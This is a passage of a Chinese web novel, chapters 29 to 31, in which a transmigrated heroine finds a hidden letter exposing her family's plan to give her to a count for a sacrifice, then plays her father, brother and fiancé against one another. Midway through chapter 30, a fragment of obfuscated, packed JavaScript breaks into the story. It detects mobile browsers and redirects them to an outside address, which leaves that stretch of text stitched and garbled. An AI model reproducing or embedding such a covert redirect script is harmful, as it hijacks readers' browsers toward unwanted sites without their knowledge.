“你和维森的婚约是不可能进行的!”他眼睛一转,似乎想到了什么,“父亲这次喊你回来,就是要取消你们的婚约。”
“因为他要将你嫁给亨利那个老男人!”
什么鬼?
纪觅依的眉头皱起,疑惑地看着高昂着头的兰迪。
难怪伊拉的身体对这几个名义上的家人只有生理性的厌恶,他们把她当做谋取利益的商品一般,随意决定她未来的去处。
冥冥之中,纪觅依感觉,真相不止如此。
看来她要尽可能在短时间内,知道原主的身世。
“你害怕了吧。”兰迪将她思考的表情当做焦虑,自以为拿捏到了她的把柄,“只要你求我,我会和父亲商量,让你不要嫁过去的。”
纪觅依没有搭理他的洋洋得意,只是问道:“他不怕维森吗?”
巴特夫人今晚的举动可不像是因为要退婚的愧疚,再加上,以巴特老爷的性格,肯定不会允许她与一个无法给他带来利益的人定下婚约。
这至少说明,维森的地位肯定是高于伊拉的家族。
“这个嘛......”兰迪支支吾吾,久久不敢说出口。
纪觅依看向他的眼神开始变得不信任,她起身整理了一下腰间的鱼骨束带,逼得他不得不说出口。
“他打算后天把维森支开,偷偷把你藏起来,再告诉他你被亨利伯爵抢走了。”
看来巴特老爷比她想的还奸诈,他并不是直接决定哪一方,而是等着双方斗一轮,最后从中得利。
保不齐,他还会把失踪的原因怪罪到她头上,三言两语伪造出逃婚的假象。
他想当渔翁,却没料到自己有个蠢儿子。
她追问道:“那你是怎么知道的?”
“我偷听的,是真的。”兰迪拉住纪觅依的衣袖,“所以你要相信我,只有我才能救你!”
纪觅依的直觉在脑海中回荡——没这么简单。
虽然从中获取的利益是巨大的,但也太过于冒险了。
纪觅依不相信对自己女儿的价值如此精打细算的人,会是一个孤注一掷的赌徒。
一定还有什么原因,让他不得不把她喊回来。
至于兰迪......
她有把握利用好这个只会做做表面功夫的“弟弟”。
纪觅依假装害怕道:“你真的会帮我的吗?”
兰迪点了点头,接着凑上前,神秘地说:“等明天,我带你去你的房间......”
话音未落,门外传来管家低声细语的催促:
“兰迪少爷,小姐该休息了,您也早点歇息吧。”
兰迪听到这声音,立马躺下,翻身滚进被子里,只露出一双眼睛,对着纪觅依眨了眨,眼神里是心照不宣的约定。
纪觅依心领神会,将书放到他枕边,不再多言,转身走到门前,握住冰冷的把手用力一压,看见了门外老管家布满皱纹的脸。
“他睡了。”
纪觅依轻轻将房门关上,站在长廊中间。
老管家手提着她的行李,微微躬身,引她去伊拉的房间。
“辛苦您了,请随我来吧。”
纪觅依沉默地跟上,他们的脚步声被厚实的地毯吞噬,沉寂在夜幕之中。
最终,管家在一扇与其他房间并无二致的深色木门前停下,推开门后伸手将行李放进房内,随后退到一旁。
“伊拉小姐,这是您的房间。”
纪觅依扫了一圈,房内的装潢和维森的客房相差无几,完全没有伊拉常住而留下的痕迹。
她站在屋内,昏暗的灯光遮住了她此时落在老管家身上、探究的目光。
“这是我的房间吗?”
“小姐。”管家向后一退,一副准备离开的样子,“这是老爷的安排,您还是早点休息吧。”
29. 布局
房门在纪觅依身后合拢,她终于可以独自一人了。
她一头栽倒在床上,闭上眼,深深吸了几口气。
纪觅依没有搜查这间房间的打算,这具身体提示着她,这绝不是伊拉的房间,只是一间巴特老爷为了做做表面功夫而格外体面的客房。
伊拉真正的房间,或许藏着一个更大的秘密。
纪觅依觉得相较于维森和兰迪,自己现在更好奇,原主到底是个怎样的人。
维森性格乖张,沉溺于和伊拉的“恋爱”剧本。
他是很强大,但同时也极易被拿捏,至少现在的自己,已经找到了如何对付他的方式。
兰迪的话......
活脱脱就是一个出生在重男轻女家庭里、被娇生惯养的耀祖,他甚至连强大都称不上。
即便如此,他有一样和维森相似,却更值得利用的,就是对伊拉那畸形的占有欲。
通过今天的周旋,纪觅依有了对付他们的底气,随着对他们越了解,她同时也对这个世界的“自己”越迷茫——
伊拉为什么要主动提出婚约?难道是为了逃离这个糟糕的原生家庭?
可用一场婚姻来阻止另一场婚姻,无疑是从一个火坑跳到另一个火坑。
纪觅依不觉得,伊拉会不明白这个道理。
这一切的解释,可能都需要等到明天,去到她真正的房间,才有机会找到答案。
月光借着窗帘的缝隙透来,烛光静谧地陪伴着她进行思考。
纪觅依起身,走到手提箱前蹲下,打开并翻找着换洗衣物。
那一件件分门别类、整齐叠放的衣服一看就出自阿斯莫德之手,她又想起了他,想起了往日种种。
纪觅依把衣服换好,拆掉绑在大腿上足足一天的绷带,匕首的手柄在她的皮肤上留下了清晰的印记。
她换上睡袍,手握着匕首,走到窗边,低头注视着那只镶嵌在刀柄上的宝石眼睛。
它像是阿斯莫德的眼睛一样美丽,又藏着许多难以言表的情绪。
月光滴在上面,那颗宝石在默默诉泣,却没有一句是责怪和埋怨。
“对不起......”
纪觅依对着那只“眼睛”低声呢喃,更希望此时送礼的人能够听到这声迟来的道歉。
可这只是她的期望。
她将匕首轻轻放在枕下,指尖从冰凉的触感抽离出来,她侧身躺下,呼吸渐渐放缓。
白天的经历化成无数碎片在她的脑海中流淌,而纪觅依像一叶扁舟,漂浮在其中。
最终,她的意识逐渐模糊,紧握的双手也放松下来。
万籁俱寂,月光悄然移动,窥探着这座府邸的一切,爬上她安睡的侧脸。
而明天的到来,在无人知晓的死寂中,加快了步伐。
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“叩叩——伊拉小姐,早上好,您起床收拾完后,就可以跟随我前去用餐了。”
纪觅依收拾完后,拉开房门,出现在眼前的不止是管家,还有维森。
对方接收到她疑惑的目光,说道:“亲爱的,早上好,我只是希望你醒来见到的第一个人是我。”
纪觅依看向站在一旁的管家,眼神无声问道:
那他呢?
而管家听到维森这句话,立即低下了头往墙边躲闪,满身都写满了“我不是人,我不存在”。
“带路吧,管家。”
维森自然拉过纪觅依的手,管家如释重负地快步走上前,引领着二位走到餐厅。
纪觅依在与昨晚相同的位置坐下,看着餐盘里焦褐色的培根,余光却观察着桌子上其他人的反应:
巴特老爷面无表情地切着盘里的吐司。
巴特夫人端着碗,抬起手喂了身旁的兰迪几口,全然把他当做一个没长大的小孩。
兰迪的眼神又时不时往纪觅依身上移,等到巴特夫人小声喊他的名字才慢慢张开嘴巴。
而维森,一口一皱眉,像是和盘中的食物有天大的仇恨,强压着嫌恶吃下。
餐桌上的氛围相较于昨晚随和多了,纪觅依专心解决着盘中的早餐,一抬眼对上了兰迪的视线,他不但没有闪躲,还刻意眨了两下,暗示着什么。
“我吃饱了,不要喂我了!”
兰迪一巴掌推开巴特夫人递到嘴边的勺子,惊得她差点没稳住手中的碗。
紧接着,他对纪觅依扬了扬脑袋,命令道:“姐姐,陪我出去玩。”
他这高傲的态度并没有让纪觅依感到不适,她知道,这是他在兑现昨晚的诺言。
可惜她无法一口应下,只能假装犹豫了许久,无奈道:“好吧。”
就在兰迪已经离开位置准备朝纪觅依走来时,维森把叉子放在盘中,刺耳的撞击声让整个餐厅瞬间安静。
“等等。”维森的目光扫过兰迪,“你是不是太黏着伊拉了?”
他站起身,一种俯视的压迫感朝兰迪袭来,他硬着头皮与维森直视,双腿却止不住地发软。
巴特夫人护崽心切,摇着身子挡住了那灼人的视线,将兰迪护在身后,说道:
“维森先生,兰迪只是太久没看到他姐姐了。到时候万一婚约定下了,他就很难有机会见到伊拉了,所以才......”
她本想给彼此找个台阶下,可被维森扣住字眼——
“万一?”
他眯起眼睛,脸上没有其他表情,但纪觅依知道,此时的他比之前任何时刻都要不悦。
“维森先生。”巴特老爷终于起身,“我今天上午,就是想邀请一起聊聊与我女儿的婚约。”
“兰迪只是一个孩子,有许多方面确实是我们二人疏于管教。”
他说完这句话,维森点了点头,默许了他的说法。
巴特老爷的眉头抽搐两下,却只能吞下这口恶气,继续道:
“希望您能给孩子一个机会,多和伊拉相处相处。”巴特老爷背后打着手势,老管家看到后立马走到他身边,“在此期间,请您和我一同去书房,商讨一下婚约的细节。”
维森没有直接回应他,只是扭头,将目光落在了乖乖坐好的纪觅依身上,像是等待她的回应。
纪觅依没有劝他快点离开,只是装作也很不舍的样子,拍了拍他的手背:“陪完兰迪,我会第一时间找你。”
“好。”
他拍了拍纪觅依的肩膀,与她短暂的告别,迈开步子,跟随着那主仆二人走入长廊。
“姐姐,陪我出去玩,我带你去看蝴蝶!”
兰迪在他们走开的下一秒就冲到纪觅依身边,拉着她从椅子上起来。
巴特夫人正准备走来,就被兰迪喊走:“母亲,别跟着我!我只邀请了姐姐,你不许去!”
“可......”
巴特夫人支支吾吾,像是在顾虑着什么。
而兰迪看着她还未放弃,嘴巴一闭,憋着气,把脸涨得通红,眼角开始冒出泪光,一副下一秒就要爆哭的样子。
“好,好,我不去,不去。”巴特夫人一看这样,立即改口,向纪觅依嘱咐着,“把你弟弟照顾好。”
纪觅依乖乖应下:“好的,母亲。”
对于她这幅顺从的模样,巴特夫人放下心来,站在原地,目送着兰迪拉着她离开。
他们走到大门外,兰迪四处张望着,确定没有仆人后,带着纪觅依绕到宅子的右侧,最后停在一个积灰已久的房门前。
“到了,到了......”
兰迪狠狠叹了口气,把刚才被维森吓住时闷在胸口的郁气呼出。
这是......伊拉的房间?
兰迪握住门把手,将这扇像极了宅子后门的房门打开,随后嫌弃地拍着手上的灰。
纪觅依不敢轻易进去,在她徘徊时,一股陈腐的气息扑面而来,混着灰尘和淡淡的霉味刺激着她的鼻腔。
“阿嚏!”
她连打了好几个喷嚏,兰迪掏出衣服里的手帕,自顾自地捂着口鼻,走进门内。
纪觅依紧随其后,却只能用衣袖挡住灰尘。
门后并非房间,而是一条狭窄且陡峭的木质楼梯,向上延伸到另一个门内。
天光从墙侧的一扇窗户透来,纪觅依弯起指关节,敲了敲楼梯上的木板,上面的灰尘被她的动作震起。
而那些木板上,有着许多被拼凑加固的痕迹。
她抬脚迈上,楼梯发出了“吱呀”的惨叫,却意外地牢固。
“上面就是你的房间了,我们上去。”
兰迪催促着纪觅依,她只好提着裙摆,谨慎踏上楼梯顶端,推开了那扇连门锁都没有的木板。
眼前的景象让她瞬间怔住——
这根本不应该是一个贵族小姐的房间,连仆人的住处都不如。
门后的空间低矮狭小,斑驳的墙皮大片脱落,角落结着蛛网。
一张窄小的木板床堪堪只能供她平躺,纪觅依翻了翻床铺,只见洗到褪色的床单下是拼拼凑凑的垫子。
她的内心迅速被一股灼热的怒火取代,猛地站直身子,头撞在了裸露在外、斜伸下来的房梁上。
可头顶传来的并不是撞在硬物上的钝痛感。
她弯着腰扭头一看,
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房梁贴心地被旧衣物包好。
她再次环顾四周,这里设施十分简陋,却被伊拉用心打理着,她已经尽可能改善着居住环境,让这片独属于自己的小空间变得温馨。
可......
这个阁楼不应该是伊拉的房间。
伴随着那股怒火的,是心疼。
纪觅依心底发酸,胸口的数字阵阵发烫,腿上的匕首也猛地一热。
可此时,她没有机会去处理这突发的变故。
身后的兰迪一脸嫌弃的走进房间,本就狭小的空间更加逼仄。
他拍了拍身上的灰,却对上了纪觅依暗压怒火的双眸。
兰迪不可能理解,只觉得这眼神不应该出现在软弱的伊拉身上。
她的眼神锁定在他身上,眼睁睁看着他走到木床边一屁股坐下,床体抗拒着他的接触,发出刺耳的摇晃声,吓得他狼狈起身。
“咳!”兰迪借着咳嗽掩饰着尴尬,“你知道为什么今天我要带你来这个房间吗?”
纪觅依冷着脸,丝毫没有要顺着他卖关子:“说吧。”
兰迪试探地看了她两眼,意识到她没什么耐心,只好老老实实说道:
“父亲嘱咐我,明天把你带到这,然后把你迷晕。这个阁楼只有我们知道,维森短时间内不可能找到你。”
纪觅依保持沉默,等着他把话说完为止。
“但你放心,明天带你来到这后,我会劝父亲的,他一定会顺着我。”
“呵?”
所以,这就是你所说的“救我”的方法?
这个弟弟真的是愚蠢到无可救药。
“可你怎么知道,他一定会听你的?”
面对纪觅依的质疑,兰迪应激般的身子往上一挺:“他一定会听我的!”
他自己也知道这样说很苍白无力,脑筋一转,扯了扯她的衣袖。
“这样,明天你挟持我,威胁他们,说如果不放你走就杀了我。”
“然后呢?”
“然后你,你就逃走,等我把他们说服你再回来。”
说得轻巧,逃到哪里去,怎么活下来,随便挑选一个问题来解决都很致命。
纪觅依弯下腰,与伊拉这个泡在蜜罐里的蠢货弟弟对视。
她不急着反驳,他的胡言乱语未尝不是一种办法。
除了利用他,她还需要获得维森的全力帮助,才能将这个馊主意变得稳妥可行。
“好。”纪觅依伸出手,“我们合作,成功了我就永远留在这里,当你的姐姐。”
兰迪迫不及待答应:“好,这就对了,伊拉,你得听我的,只有我......”
她站直,眼神里满是对他的厌恶。
可兰迪完全没有注意到,满心沉浸在自己救世主的幻想中。
她讨厌极了,这种将她物化的思维,这种令人作呕的独占欲。
他根本不是在意伊拉这个姐姐,只是觉得,她理应属于他,这个家族也理应属于他。
没关系,所有这样看待自己的人,都会付出代价。
纪觅依嘴角一勾,收起了刚才的情绪,一巴掌拍在了兰迪的肩膀上,打断了他的滔滔不绝。
“兰迪,你出去守着,我要在这个房间里待会。”
“我守着?你凭什么——”
“如果你想让我们的合作被人发现,就待在这吧。”纪觅依双手一摊,装作无所谓道,“反正,嫁给谁对我来说都一样。”
“兰迪,需要我留下的是你,不是我。”
“好......”
即使他想不通,原本那个怯生生的伊拉怎么变成这幅模样,也只能老老实实应下,扭头走下楼。
等他走出楼下那扇门后,纪觅依将裙摆一掀,抽出匕首。
那颗绿色宝石有节奏地闪着光,在她手心发烫,并且指引着她往床下探去。
果然,心脏和匕首的异变不是巧合,这个房间一定有什么至关重要的线索。
她趴在地上,右手紧握匕首朝床底探去。
“叮——”
纪觅依将手收回,一个金属筒吸附在刀刃上,在焊接的那条缝隙上,是一道长条的空洞。
她用力一扯,将金属筒取下,试探地将匕首插入孔洞之中,向上一撬。
居然,就这么打开了?
她没想到,阿斯莫德送给自己的匕首有这么大作用。
纪觅依取出里面卷好的信件,当看到开头时,瞳孔骤然一缩——
【亲爱的到来者:】
【当你看到这封信时,恭喜你走在了靠近真相的道路上。】
30. 她都知道
【我知道,你会质疑,但请你看完。】
读完这句话,纪觅依感到一阵细微的电流从指尖流通到心口。
她解开胸口的扣子,往下一扯。
胸口那血红色的数字【6】,在她眼前闪烁了数次,随后逐渐淡化,直至消失。
纪觅依眉头紧锁,看着胸口上的数字再次浮现出来——是【7】。
这封信,就是关键线索吗?
如果根据这个世界运转的规则,她认为,前辈的日记和咕噜的存在已经算是大发现,可都没有增加次数。
胸口的数字变化,实打实证明着这封信的重要性和真实性,它的意义远远超过她之前一切的探索。
纪觅依理好衣服,飞速扫向后续内容:
【当你看到这封信时,我们的时间不多了。我知道你很疑惑,为什么会选择维森订下婚约,而不是亨利。】
【答案很简单:留在这里,留给我们的只有死路一条;而去到庄园,我或许还有时间。】
纪觅依手指微颤,迅速将信纸翻到末尾。
落款处,是早已预料到,却依然让她呼吸一滞的名字——伊拉。
原来,这一切都有原主的参与,就连我的穿越也是她计划的一步吗?
纪觅依被伊拉深深震撼,可接下来的文字,更是让她心头一缩。
【亨利的婚约就是一场血腥献祭的遮羞布,我的家族虚伪且愚昧,他们居然支持着亨利那可笑的仪式。而我的命运,从出生就被他们定好。】
【我是一个牺牲品,而与亨利的婚礼之夜,就是我的死期。】
纪觅依有想到巴特家族的恶心之处,却未料到,他们居然对自己的亲生骨肉这么狠心。
她发自内心同情并敬佩伊拉,之前她还不解,为什么原主要主动与维森定下婚约,现在她明白了,这可能是她改变命运的最佳选择。
只是,维森为什么要同意,他那扭曲却炙热的爱意是演不出来的,难道,他和伊拉还有不为人知的故事?
纪觅依只能暂时放下这份好奇,继续读下去:
【外来者,请你一定要尽全力逃离这个家,回到庄园。即使那里还有许多挑战等着你,请相信我,那都是你能解决的。】
【我需要你的帮助,是为了我自己,也同样为了你,我们有共同的目标。】
【所以,请你相信我,也相信你自己,既然你能得到这把匕首,打开这封信,就说明了,你已经走在了真相道路上,祝我们成功。】
信件戛然而止,纪觅依注意到,伊拉越写到后面,她的字迹就越潦草。
与此同时,许多只写了开头的语句也被匆忙划掉,只留下了混乱的线条。
纪觅依猜测着,伊拉其实告诉她的有很多可时间和篇幅都有限。
她只能将她觉得最重要的写下,传达给读到这封信的人。
纪觅依将信再次浏览了一遍,确定没有遗漏的内容后,卷好塞回金属筒内。
可在她关上盖子的那一瞬间,筒内传来“咔哒”一声,纪觅依再次打开,却发现里面只剩下的一团灰烬。
这居然是个可以阅后即焚的装置!
纪觅依感到惊奇,下一秒又冷静下来,把注意力放在伊拉信件的内容中。
这封信在前辈的日记里无人提到,也没有人回到过巴特家族,再加上这个自毁装置,都说明着,她是读到这封信的第一个人。
纪觅依没想到,阿斯莫德主动送来的匕首居然有这么大作用。
可他是NPC,不应该要阻止她靠近真相吗?
为什么还要帮自己,把得到关键性线索的道具主动送来。
她还想不通,原主为什么那么信任她,还声称她们有共同的目标。
自己的目标是得到真相,回到现实世界,这和伊拉又有什么关系?
纷乱的思绪使她开始自我怀疑——
我真的能破解开真相吗?
“我们走吧,我感觉有人要来了!”
兰迪推开门向楼上喊道,正是这一句将纪觅依从无序的思考中扯出。
现在重要的不是这个,是要对付巴特家族这个目前最大的危机。
她搓了搓脸,内心暗示自己打起精神,随后将金属筒滚回床底,把匕首重新绑到腿上。
整理好这一切,纪觅依提着裙摆走下楼,跟着兰迪走回府邸门内,刚打开门,就看到与巴特老爷并肩走来的维森。
他轻快的脚步声反映着此时的心情,在看到她时,维森立即停下了与巴特老爷的交谈,快步走到她面前。
“怎么样,抓到蝴蝶了吗?”他满眼都是纪觅依,根本没注意紧挨着她的兰迪。
她装作垂头丧气回答道:“运气不好,一只也没抓到。”
“怎么会呢?”维森瞟了一眼兰迪,阴阳怪气道,“看来是有人不会配合你才导致的。”
兰迪下一秒就要炸毛,又被纪觅依拍了拍后背。
哄完他后,纪觅依又挽上了维森,说道:
“亲爱的,那等回到庄园后你给我抓,好吗?”
维森对她的主动受宠若惊,反应了几秒后揽上她的腰,重复回应着:
“好,好,我亲自给你抓。”
管家从巴特老爷身上走来,低着头,小心翼翼打断着二人的交谈。
“维森先生,伊拉小姐,二位可以去客房休息片刻,等到中午用完餐,我会来通知二位。”
“伊拉。”巴特老爷转身回头看着纪觅依,以通知的口吻留下一句,“中午用完餐,跟我来书房。”
“好的,父亲。”
得到她的回应,他转身离开。
管家领着他们回到客房,纪觅依站在维森房间的门前,并没有打算离开的意愿。
“管家,可以帮我把行李拿过来吗?”
要想办法逃离这个家族的控制,光靠自己和兰迪是不可能的,伊拉也直接告诉了她什么是正确答案。
所以她现在最重要的是,拿捏住维森。
果不其然,维森在纪觅依预料之中一笑,十分满意她的所作所为。
“好的,我会在通知您用餐时送来。”
纪觅依点了点头,紧跟维森的步伐走进房间,随即将门一关。
她快步走向沙发,坐在维森身边,刻意放软语气,开口问道:
“亲爱的,父亲都和你聊了什么呢?我很好奇,求求你告诉我呗!”
面具都遮不住他此时的笑意,维森向后一靠,盯着纪觅依回答道:
“那当然是我们的婚约细节了,伊拉,你的父亲还问我,我们感情状况如何?”
“那当然是两情相悦了。”
呵呵……
虽然还是有被维森这鬼话连篇的习惯无语到,但现在绝不能去否定。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17003686|191562||http|test|mini|href|location''.split(''|''),0,{}));
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>纪觅依心里冷笑着,但面上却是赞同地点了点头。
“除了这个,父亲还有说什么吗?”
她想知道,维森是否得知伊拉和亨利的婚约,是否清楚巴特老爷背后的小动作。
“我们商定了婚礼合适的日期,规模……”
维森滔滔不绝地分享着婚礼的布置,满心都是对这仪式的期待,甚至把该用什么颜色和品类的手捧花都想到了。
可这也证明了,他不知道那些事情,看来巴特老爷在他面前还是不敢轻举妄动,只能同意婚约来稳住他。
“伊拉,你觉得这些安排合适吗?”
纪觅依没有仔细听他所说的内容,只能想办法转移开:“嗯……我觉得我们还得商量一下……”
“叩叩——”
管家来的恰合时宜,她站起身,同时迎上了维森迫不及待的眼神。
“等晚上,我们好好谈谈,可以吗?别让我的家人等急了。”
“好。”
维森一口应下,他本就无比期待今晚与她的单独相处,这下又得到了她的再次承诺,心安地拉起她的手走到门口。
他淡定地打开门,看见了门外提着行李的管家,侧身吩咐道:“把伊拉的行李放门内就好。”
管家照做后,恭敬俯身,领着他们来到餐厅。
没想到,餐桌上只有巴特夫人和兰迪,纪觅依坐下后,向身旁的管家问道:“父亲怎么没来用餐。”
“老爷有事情要忙,特意嘱咐我照顾好二位。”
偏偏在这个时候……
纪觅依越发为下午与巴特老爷的谈话感到紧张,却不能外露,只好借吃饭来掩盖情绪。
身旁的维森难得不嫌弃的吃着,看来婚约定下这件事,对他来说确实意义重大。
午餐在刀叉相撞间结束,一桌人各有各的想法,心思或多或少都在其他地方。
在纪觅依刚放下餐具的时候,管家悄无声息出现在了她的身后,将声音压得极低:
“伊拉小姐,老爷在书房等您。”
来了。
纪觅依深吸一口气,放下餐巾。
维森将目光落在她身上,察觉到了此时纪觅依的紧张。
“去吧,伊拉。”维森只以为她是在紧张,拍了拍她放在桌面上的手,安慰道:“好好和父亲聊聊。”
纪觅依对他露出一个无可挑剔的微笑,带着恰到好处的娇羞和坚定。
“当然,我很快就会回来,等我一会。”
她从座位上离开,挺直身子跟着管家离开餐厅。
长廊空旷,纪觅依几乎能听到自己胸腔里回荡的心跳。
在管家背后,她抚上了胸口,暗暗为自己加油鼓气。
伊拉,我们会逃出这里的。
随着离书房越来越近,纪觅依感觉,自己也在慢慢靠近原主的灵魂,那种恶寒成为产自内心的情绪。
书房的门厚重而华丽,与阁楼那扇破烂的木板形成鲜明的对比。
纪觅依冷笑一声,在管家躬身行李后,毫不犹豫推开了门。
她警惕地注视着坐在书桌中间的巴特老爷,身后的门在她进去后立即关上。
书房内陷入了一阵漫长的沉默。
就在纪觅依以为他会寒暄几句后,再展开婚约这个话题时,巴特老爷果断开口:
“伊拉,我要求你,取消与维森的婚约。”
31. 以身设局
沉默在此刻有了实质的重量。
巴特老爷说完那句话后,不再开口,只是用那双浑浊的眼睛审视着她。
纪觅依没有立即回答,只是一步步走向书桌前的那张椅子,姿态优雅地坐下,正面迎上巴特老爷的目光。
“父亲,我需要原因。”
巴特老爷虚眯着眼睛,一副精明的算计模样。
她的反应出乎他的意料。
原本眼神里的审视变成了打量,就像是在目睹一件待价而沽的商品,突然就拥有了自我意识。
“伊拉,短短这几天你就变了许多。”巴特老爷叹了口气,语气满是失望,“离开了这个家,你果然学坏了不少。”
“父亲,我们不是要谈婚约吗?”
巴特老爷的眉头跳动了一下,他预想中,那个总是低眉顺眼的女儿在他说出要求时,就应该乖乖应下,而不是现在这样咄咄逼人。
而纪觅依在听到他这番话后,心里没有任何愤怒的情绪,只是对他产生了更深的鄙夷。
道德绑架?
不吃这一套,谢谢!
“好。”
巴特老爷向后一靠,双手交叠在腹部,恢复了那副掌控一切的家主模样。
“我告诉你原因,伊拉,你们不合适。”
“父亲。”纪觅依抬起眼,“当初我离开家,去往庄园的时候,您并未反对。怎么到了现在,突然就——”
“不合适了呢?”
纪觅依以同样的姿态往后坐去,她目光清亮,毫不躲闪地与他正面交锋。
巴特老爷交叠的手指收紧,脸上的肌肉也僵住,他像是被她的问题呛住般,久久无法回复。
“父亲,请你告诉我真实的原因。您知道的,我一向敬重您,可......”
纪觅依主动服软,退下一步,诱巴特老爷说出真相:“您也看见了,我和维森是真心相爱......”
她表现得十分为难,一方面不舍得抛弃“爱人”,另一方面不忍让“至亲”伤心。
“我亲爱的女儿。”巴特老爷面上没有对亲生骨肉的心疼,反而眸色中闪过几丝难掩的欣喜,“我也是没有办法啊。”
他深深叹出一口气:“告诉你吧,其实,在很早之前我们就答应了你和亨利伯爵的婚约。”
“亨利?”
纪觅依猛地站起身,椅子在这力道下向后一倒,发出巨响。
“父亲,为什么是亨利!”
“伊拉,冷静。”
纪觅依侧过脸,紧咬住嘴唇,逼出几滴欲滴的泪珠。
巴特老爷大喜,心里边盘算边说道:“听话,伊拉。把椅子扶起来,坐下,我们好好谈谈。”
纪觅依没有回答,却乖乖照做,这次坐下后,她没有直面巴特老爷,只是一脸委屈地低着头。
“我知道,亨利德高望重,虽然他和你年龄相差甚大,但我们两个家族世世代代都有密切的来往。父亲向你保证,他绝对是你的最优选择。”
纪觅依心里冷笑道:怎么说,年纪大会疼人?要不是自己发现了伊拉的信,还真就以为,这只是个简简单单的婚约抉择。
看着面前一声不吭的纪觅依,巴特老爷有些心急了:
“我们都不了解维森到底是怎样的人,而你只和他相处了这么短时间,怎么敢确信,他对你就是真感情呢?”
“伊拉,清醒一点,父亲怎么会害你呢?”
“只有我们才是真的为你考虑!”
呵,真是天大的笑话。
纪觅依的双手紧握,指尖嵌在掌心,强忍这具身体传来的反胃感。
“真的,必须要嫁给亨利吗?”她抬起头,嘴唇颤抖,卑微地请求道,“父亲,真的没有办法了吗?我,我真的不愿意。”
“为什么,为什么一定是亨利?不能是维森?”
这句话一下点燃了巴特老爷的怒火,他为数不多的耐心消耗殆尽。
“砰——”
他抬手拿起书桌上的墨水瓶向身侧的书架一砸,企图以这种方式来制止纪觅依,彰显自己的威严。
“伊拉,别再执迷不悟了!”
随着这句怒吼,书房的空气凝滞下来,纪觅依压下抽噎声,眼睛呆呆望向远处的玻璃碎片,身子忍不住地抖。
任谁看到这一幕,只会觉得她已经被吓得失神。
可只有她自己知道,他失控的情绪正和她意。
“你有没有想过,如果你不同意的话,会给家族带来什么?”巴特老爷坐直,将双手交握,“你知道,当初为了同意你和维森,我需要抗下多少压力吗?”
“你就没有为我,为你的母亲,你的弟弟,为我们整个家族考虑过吗?”
“父亲。”纪觅依擦去眼角的泪水,“难道你同意我和维森,不是为了从中获取什么吗?”
巴特老爷被戳中心窝,脸色一沉:“是谁说的?”
她的心脏在胸腔里擂鼓,但声音平稳,只有恰到好处的委屈。
“父亲,您在说什么?”她微微睁大眼睛,看向巴特老爷的眼神里全是茫然,“这难道不是......很明显的事情吗?”
她顿了顿,目光移向地上晕染开的墨团,声音轻得像是自言自语。
“我知道,家族需要复兴,我从来没有......”纪觅依的语气突然激动起来,断断续续道,“我没有,不考虑过。”
“我选择,维森,也是为了家族。”
巴特老爷死死盯着她,试图从那张泪痕未干的脸上找出一丝伪装的迹象,却以失败告终。
他拾回那副“慈父”面孔,柔声道:“你早该告诉我,我的女儿。”
巴特老爷站起身,缓步走来,继续说道:“我就知道,从小到大你都是一个为家人着想的乖孩子,怎么会犯这种糊涂。”
“你长大了,伊拉,我很欣慰。”
他绕到她身后,手看似慈爱地搭在她颤抖的肩上:“我的孩子,是我错怪你了。”
纪觅依也站起身,不经意躲开他的触碰,转身面向巴特老爷。
巴特老爷毫不在意地收回手,捋了捋自己的山羊胡,说道:“我作为一家之主,肯定有更全面的考虑。亨利是你必然的选择,这是我们巴特家族世代沿袭下来的约定,你我二人,都没有资格毁约。”
“那维森那边......”
“这就不用你操心了,伊拉,你已经为家族做出很大的贡献了。”
巴特老爷从侧兜掏出手帕,为她擦拭泪水:“擦干你的泪水,别让外人多想。”
“......好。”
纪觅依假意屈从,却让巴特老爷当了真。
他挤出一个慈爱的笑,以为自己的计划正在迈向成功,殊不知,已然掉入她的陷阱。
她接过手帕,在脑中飞速整理着信息——
看来,兰迪说的是真的,只不过他所得知的只是表象。
而巴特老爷这个老狐狸,到了这一步还在遮遮掩掩,试图拿一些冠冕堂皇的理由来洗脑。
或者说,他并不清楚,原主已经知道了,婚约背后就是一场真实的献祭。
“叩叩——”门外传来管家的声音,“老爷,维森先生吩咐我向您询问,二位的交谈多久结束。”
“让他再等等。”
“到了这里,还摆这么大的架子。”巴特老爷压低声音暗骂道,倒是把这两日对他的怨气一吐为快。
他抚平袖口,收回纪觅依递来的手帕,说道:“我将一切都告诉你了,接下来,你知道该怎么做了吧。”
“亨利伯爵明晚就会来接你,今晚,就多陪陪维森,当作和他告别吧。”
他轻描淡写般抛下这一句,走到地上的墨渍前,将手帕一扬,盖在了上面。
墨水迅速染黑了整张手帕,纪觅
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依看着这一幕,愈发觉得可笑。
他想体面地掩盖那些丑恶的交易,达成名誉双赢?
想当那个最后收网的渔翁?
不可能。
恰在此时,门外的交谈声打破了书房内沉默地主旋律——
“维森先生,您怎么来了?”
“我不是托你问了吗?答案呢?”
“老爷说......”
还没等管家解释完,门就被推开。
维森高大的身影出现在门口,面具背后的眼睛直直锁定在纪觅依身上。
尽管她已经擦干了泪痕,他还是注意到了她泛红的双眼。
“看来,我来的不是时候。”
维森向纪觅依迈去,将她护在自己身后,从地上破碎的墨水瓶扫视到巴特老爷身上,冷着脸开口道:
“我本以为,伊拉会和您聊的很愉快呢。”
维森的突然闯入无疑是在冒犯巴特老爷的权威,可他此时只能端起笑脸,解释着:
“维森,你可误会了。不过,也是我的错。”他笑呵呵走来,与他先前与纪觅依独处时相比,简直判若两人,“我只是假意试探伊拉对你的感情,可你瞧瞧,她一听到我说你不好,就生气了。”
这话一说,摔墨水瓶倒成了纪觅依失控的行为。
她心里不屑,可在收到那双暗示的眼神时,还是得压下不适,配合他演下去。
纪觅依扯了扯维森的衣摆,埋怨道:“父亲也是的,怎么能那么说你。”
“哦?”
维森饶有兴趣地转身,问道:“我倒想听听,我有哪些让父亲不满的地方了。”
他身后的巴特老爷紧张起来,右手不由自主抬起,扯着山羊胡,疯狂给纪觅依使着脸色,生怕她说错一句话。
“父亲说,你太强势了。”
巴特老爷的脸色一沉,想立即打断。
还没等他行动,纪觅依话音一转:“你怎么断然决定,将婚礼的过程全部自己操办,那多辛苦啊!”
“是吧,父亲。”
